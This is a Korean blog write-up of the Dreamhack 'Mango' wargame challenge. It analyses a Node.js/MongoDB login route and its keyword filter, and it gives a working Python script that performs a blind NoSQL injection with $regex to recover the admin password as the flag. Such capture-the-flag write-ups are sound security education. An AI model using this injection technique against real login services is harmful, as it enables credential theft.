본문 바로가기

드림핵

[드림핵 워게임] Mango

위의 문제를 다음과 같은 과정으로 풀어보았다.

 

 

1. 코드 분석

 

첫 페이지

첫 페이지에 접속해보면 위와 같은 페이지가 출력된다. 이 결과는 아래의 코드가 실행되어 나온 결과이다.

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

문제는 푸는 데에 그리 중요한 부분은 아닌 듯하다.

 

 

또 다른 엔드포인트로는 아래의 /login 페이지가 있다.

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

위의 코드에서 살펴볼 부분은, 첫째로 filter 함수를 사용하여 response를 받는 부분이고, 둘째로는 이용자가 요청한 uid, upw 값을 user collection에 검색하여 나온 결과에 따라 'err', 이용자가 입력한 'uid', 혹은 'undefined'를 출력하는 것이다.

 

const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

첫번째 부분부터 살펴보면, filter 함수는 이용자가 입력한 쿼리를 data 파라미터로 받아서 파라미터에 전달된 값에 'admin', 'dh', 'admi'가 있으면 flag 변수에 true를 저장하고 없으면 false를 저장한다. flag의 값이 true인 경우 즉 쿼리문에 'admin', 'dh', 'admi' 이 있으면 쿼리문의 검색 결과를 차단하여 보여주지 않는다.

 

 

두번째 부분을 살펴보면, 이용자가 데이터를 조회하는 쿼리를 요청했을 때, 그 결과를 직접적으로 확인할 수 없다는 것을 알 수 있다. 이용자가 확인할 수 있는 것은 데이터 조회 결과로 에러가 발생했는지(err), 조회된 결과가 있는지(이용자가 입력한 uid), 조회 결과를 찾을 수 없는지(undefined) 여부이다.

 

 

 

2. 취약점 분석

 

취약점은 코드에서 쿼리문을 처리하는 부분에서 찾을 수 있다. /login 페이지를 처리하는 코드에서 쿼리의 변수 타입을 검사하는 부분이 없기 때문에 해당 서비스는 이용자가 입력한 값이 문자열일 때 뿐만 아니라 object 타입일 때에도 이용자의 입력값을 처리한다. 따라서 정규표현식을 이용해 데이터를 검색하는 MongoDB 연산자 $regex를 이용하여 NoSQL Injection을 시도할 수 있다.

 

그런데 앞서 살펴본 바와 같이 /login 페이지에서 이용자가 데이터를 조회하는 쿼리를 요청했을 때, 그 결과를 직접적으로 확인할 수 없고, 로그인에 성공하더라도 이용자가 입력한 'uid' 값만을 반환하기 때문에 참/거짓으로 결과를 판별해야 한다. 즉, 로그인 결과값이 이용자가 입력한 uid인 경우 참, 결과값이 undefined인 경우 거짓으로 간주하는 것이다. 이와 같이 쿼리 요청의 결과를 직접 확인할 수 없고 참/거짓 형식의 결과만으로 얻어내고자 하는 것을 찾아내는 방식을 Blind NoSQL Injection이라고 한다.

 

 

 

3. 익스플로잇 코드 작성

 

다시 문제로 돌아가보면, 우리가 찾아내야 하는 flag는 admin계정의 비밀번호이다. 비밀번호가 '32alphanumeric' 이라고 되어있는 것을 보니 admin의 비밀번호는 알파벳과 숫자가 섞인 32개의 문자로 이루어진 문자열임을 알 수 있다. 이러한 정보를 바탕으로 파이썬을 이용해 익스플로잇 코드를 다음과 같이 작성하였다. 

 

import requests, string

HOST = "http://host3.dreamhack.games:*****/"
GET_FLAG = string.digits + string.ascii_letters
flag = ""

for i in range(32):
    for ch in GET_FLAG:
    	response = requests.get(f"{HOST}login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}")
        if response.text == "admin":
        	flag += ch
            break
print("DH{" + flag + "}")

(1) HOST 변수에는 문제의 첫페이지 url을 저장했다.

(2) GET_FLAG 변수에는 숫자와 알파벳을 저장했다.

(3) flag 변수는 GET_FLAG 변수의 문자열 중 비밀번호와 일치하는 문자를 저장하기 위해 공백으로 선언했다.

(4) 총 32개의 문자로 이루어진 비밀번호를 찾아내야 하므로 for문을 32회 반복한다.

(5) GET_FLAG에 있는 숫자와 알파벳들을 하나씩 ch에 대입하며 반복문을 실행하는데, 비밀번호의 문자와 일치하는 ch가 나오면 response.text가 admin으로 반환되므로 if문을 이용해 해당 문자를 flag에 저장한다. 이 과정이 32번 반복되면서 최종적으로 길이가 32인 비밀번호를 알아낼 수 있다.

(6) /login 페이지에 요청하는 쿼리문을 분석해보면, uid에 'ad.in'을 입력했는데 'admin'을 그대로 입력하면 filter 함수에 의해 검색이 차단되므로 중간에 있는 'm'을 아무 문자를 의미하는 '.'으로 대체하였다. 마찬가지로 upw에도 원래 'DH{'를 입력하려고 하였으나 dh가 filter 함수에 의해 걸러지므로 'H'를 '.'으로 대체하였다. 그리고 MongoDB 연산자인 '$regex'를 이용했는데 이 연산자는 지정된 정규식과 일치하는 문서를 조회하는 연산자이다.

 

*참고로 D.{{{flag}{ch} 에서 D.{{ 에 열린 중괄호가 2개 쓰인 것은 정규식 표현에서 중괄호 1개를 표현하고자 할 때 2개를 써야 하기 때문이다.

 

 

 

처음 파이썬 익스플로잇 코드를 실행했을 때 requests를 import할 수 없어서 에러가 발생했다. 그래서 위와 같이 터미널에서 requests를 설치하여 에러를 해결했다.

 

 

 

 

플래그를 얻었다

'드림핵' 카테고리의 다른 글

[드림핵 워게임] pathtraversal  (1) 2022.10.08
[드림핵 워게임] command injection-1  (1) 2022.10.08
[드림핵 워게임] simple-sqli  (1) 2022.09.24
[드림핵 워게임] csrf-2  (1) 2022.09.24
[드림핵 워게임] csrf-1  (1) 2022.09.23